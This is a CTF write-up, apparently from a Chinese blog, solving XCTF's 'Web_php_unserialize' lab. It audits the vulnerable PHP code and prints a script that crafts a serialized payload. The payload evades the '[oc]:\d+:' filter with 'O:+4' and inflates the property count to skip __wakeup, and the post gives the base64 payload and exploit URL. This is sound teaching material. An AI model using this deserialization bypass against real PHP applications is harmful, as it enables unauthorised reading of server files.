PHP反序列化+代码审计-xctf-Web_php_unserialize

        启动靶场,发现没有其他地方可以利用,给了php代码,故审计代码。

        这里定义了一个Demo类,私有变量$file初始化为index.php,然后是2个PHP中的魔术方法:

__construct(),创建时自动调用,用得到的参数覆盖$file

__destruct(),销毁时调用,会显示文件的代码,题目提示flag在fl4g.php中,故这里要显示fl4g.php。

__wakeup(),反序列化时调用,会把$file重置成index.php。

        $_GET['var'],以GET方式获取参数var。并使用preg_match('/[oc]:\d+:/i', $var),这部分是正则匹配。若var中有"O或C:数字:(不区分大小写)",就会输出“stop hacking”。 \d+表示多个数字,/i表示不区分大小写。

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

        由于在PHP的反序列化前,会先调用__wakeup()函数,来覆盖$file,而我们想访问的是fl4g.php,故需要绕过__wakeup()。当序列化后的字符串中的属性个数大于真实个数时,导致反序列化异常,就绕过__wakeup()函数。

        写脚本,实例化一个Demo类的对象,$test,并对其进行序列化,用+防止O:4匹配,将1改成2绕过__wakeup()函数,以便访问fl4g.php的内容。

<?php
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
$t=new Demo("fl4g.php");
$f=serialize($t);
echo $f."\n";
//绕过O:数字
$r1=str_replace('O:4','O:+4',$f);
//绕过_wakeup(),令属性值大于真实的值
$r2=str_replace('1:','2:',$r1);
echo $r2."\n";
//base64编码
echo base64_encode($r2);
?>

         O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";} 经过base64编码之后的序列化字符串为:

TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

构造url:

http://111.200.241.244:53384/index.php?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

得到flag:

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值